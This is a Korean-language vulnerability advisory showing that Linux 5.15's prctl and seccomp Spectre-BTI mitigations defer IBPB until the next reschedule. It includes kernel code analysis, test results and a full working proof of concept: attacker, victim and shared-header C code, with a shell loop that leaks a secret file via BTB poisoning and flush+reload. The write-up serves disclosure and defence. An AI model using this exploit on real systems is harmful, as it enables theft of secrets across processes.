
기술 분석 및 개념 증명으로, prctl과 seccomp를 통한 Linux 커널 Spectre-BTI 사용자 공간 완화 조치의 우회를 시연하며, 코드 수준의 설명과 테스트 결과를 포함합니다.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Spectre-BTI 공격의 성공률을 테스트하던 중, 커널 API를 완화 수단으로 사용할 때 이상한 패턴을 발견했습니다1. 테스트 결과 Linux 커널이 공격을 올바르게 완화하지 못하여 syscall 이후 짧은 시간 동안 프로세스가 노출된 상태로 남는 것으로 나타났습니다.
추가 조사 결과, 커널이 syscall 중에 IBPB를 즉시 실행하지 않는 것으로 나타났습니다. ib_prctl_set2 함수는 태스크의 TIF(Thread Information Flags)를 업데이트하고 __speculation_ctrl_update3 함수에서 SPEC_CTRL MSR을 업데이트하지만, IBPB는 TIF 비트가 확인되는 다음 스케줄 시점에만 실행됩니다. 이로 인해 피해자는 prctl syscall 이전에 BTB에 이미 주입된 값에 취약한 상태로 남게 됩니다. 이 동작은 태스크의 재스케줄링이 발생한 후에야 수정됩니다. 또한 커널 진입(이는 syscall 자체로 인한 것임)은 기본 시나리오(즉, 커널이 retpoline 또는 eIBRS를 통해 자체를 보호하는 경우)에서 IBPB를 실행하지 않습니다.
다음을 사용하여 spectre-BTI 공격을 완화하기 위해 prctl을 실행하면:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
커널 5.15에서 ib_prctl_set2 함수가 실행됩니다. SPEC_DISABLE 옵션을 사용하면 task_set_spec_ib_disable에 대한 TIF 비트가 설정되고 task_update_spec_tif가 호출됩니다:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable은 set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);를 호출하고, 대상 태스크가 현재 태스크라면 speculation_ctrl_update_current();를 호출합니다:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update 래퍼 이후의 speculation_ctrl_update_current는 tifp = ~tifp로 __speculation_ctrl_update를 실행합니다. 여기서 STIBP 설정을 위한 wrmsr 업데이트가 실행되지만 IBPB는 실행되지 않습니다:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccomp syscall도 arch_seccomp_spec_mitigate4 내부에서 ib_prctl_set2을 완화 수단으로 사용하므로 seccomp에서도 동일한 결과가 예상됩니다.
코드 분석을 통해 공격에 이용할 수 있는 시간 창이 존재한다는 것은 확실하지만, 그 창이 피해자가 비밀값을 로드하고 공격자가 이를 유출할 수 있을 만큼 충분히 큰지 여부는 불분명했습니다 (비밀값은 prctl 호출이 실행되기 전까지 피해자 주소 공간에 없을 것으로 예상되기 때문입니다). 테스트는 하드웨어 완화를 지원하는 베어메탈 머신에 ubuntu 22.04.1 LTS를 설치하여 실행되었습니다:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
테스트 코드는 동일한 논리 코어에서 실행되는 두 개의 프로세스로 구성됩니다. 공격자는 피해자 프로세스에 존재하는 spectre 가젯의 주소로 BTB를 지속적으로 오염시킵니다. 피해자 프로세스는 테스트 변수가 spectre 가젯 함수에 의해 접근되었는지 확인하여 오예측률을 측정합니다. 이는 일반적으로 다음과 같은 출력을 반환합니다:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
그런 다음 PRCTL을 사용하여 공격을 완화합니다. 프로그램 시작 부분에 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);를 추가하면 완화가 활성화됩니다. 이는 spectre-BTI 공격을 완화할 것으로 예상됩니다:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
그러나 일부 테스트에서는 다른 결과가 나타났습니다:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
또한 'nice'(우선순위)를 변경하면 오예측률에 영향을 미치는 것으로 보입니다:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
이는 코드 분석에서 이해한 바와 같이 prctl이 다음 스케줄 이후에만 프로세스를 보호한다는 것을 나타냅니다. 이 테스트의 또 다른 이상한 동작은 잘못된 분기 이후에는 추측 경로가 수정되고 실제 값이 BTB에 기록되어야 한다는 점입니다. 형제 스레드에 BTB를 다시 오염시킬 다른 공격자가 없기 때문에 이렇게 높은 오예측 값은 예상치 못한 것입니다.
이것이 측정 오류가 아님을 확인하기 위해 간단한 POC를 만들었습니다. 피해자 코드는 spectre-BTI 공격에 취약한 함수 포인터를 통해 항상 safe_function을 실행합니다. 피해자는 prctl syscall(protect_me 내부)을 사용하여 커널에 보호를 요청합니다. 피해자는 또한 텍스트 파일에서 비밀값을 로드하는데, 이는 다른 syscall들도 TIF 비트를 확인하지 않거나 IBPB를 강제하는 재스케줄을 유발하지 않는다는 것을 보여줍니다.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
대부분의 libc 함수는 공격자와 피해자 간의 공용 헤더에 배치되어 spectre_gadget과 spec 함수가 피해자와 공격자 양쪽에서 동일한 메모리 주소를 공유하도록 했습니다 (그렇지 않으면 .GOT 항목이 생성되어 주소가 변경됩니다). 이는 필수 사항이 아니며 분기를 동일한 주소에 배치하고 피해자 컨텍스트를 모방하는 다른 방법들도 있지만, 이 방법이 더 간단합니다.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
공격은 spec 함수를 호출하여 safe_function 대신 spectre_gadget으로 분기하도록 만들어 BTB를 오염시키는 것으로 구성됩니다. 트레이닝 후 피해자 프로세스가 생성되고, 피해자는 절대 실행되어서는 안 되는 spectre_gadget으로 오예측하는 spec을 실행합니다. 비밀값은 전형적인 flush+reload 부채널을 통해 유출됩니다.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
피해자가 부채널을 통해 유출할 비트를 선택하는 데 사용할 수 있는 인자를 받기 때문에, 공격자가 실행되는 동안 피해자 프로세스를 여러 번 실행할 수 있습니다:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
이로 인해 다음과 같은 텍스트 파일이 생성됩니다:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
비트 0과 6이 1이므로 첫 번째 문자는 0x41(A)이어야 합니다. 간단한 파이썬 스크립트로 파일을 파싱하면 다음과 같이 표시됩니다:
The secret leaked is: b'Asuper_secret_flag'
이는 피해자가 사용한 secret.txt에 있는 정확한 내용입니다.
비밀값을 로드한 후 prctl 호출을 syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);를 사용하는 seccomp로 변경해도 공격을 막지 못합니다. 내부적으로 둘 다 동일한 ib_prctl_set 함수를 사용하여 완화를 구현하기 때문에 이는 예상된 결과입니다.
추측 제어를 위한 prctl syscall의 현재 구현은 완화가 실행되기 전에 공격을 수행하는 공격자로부터 사용자를 보호하지 못합니다. seccomp 완화도 이 시나리오에서는 실패합니다.
사용자 모드 애플리케이션의 경우 prctl 호출 후 usleep을 사용하면 재스케줄을 강제하여 올바른 완화를 보장할 수 있습니다. 이 공격에 대한 가능한 커널 패치 중 하나는 __speculation_ctrl_update3에서 STIBP가 설정되는 동시에 IBPB를 실행하거나 schedule()을 호출하는 것입니다.
2022년 12월 27일 - prctl에서 예기치 않은 동작 발견
2022년 12월 29일 - 이 문서의 첫 번째 버전
2022년 12월 31일 - Linux 커널 보안 팀에 공유
2023년 2월 2일 - 보고서 공개 공개: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“The Linux kernel user-space API guide: Speculation Control”. 링크: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Linux 소스 코드" 링크: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Linux 소스 코드" 링크: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Linux 소스 코드" 링크: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩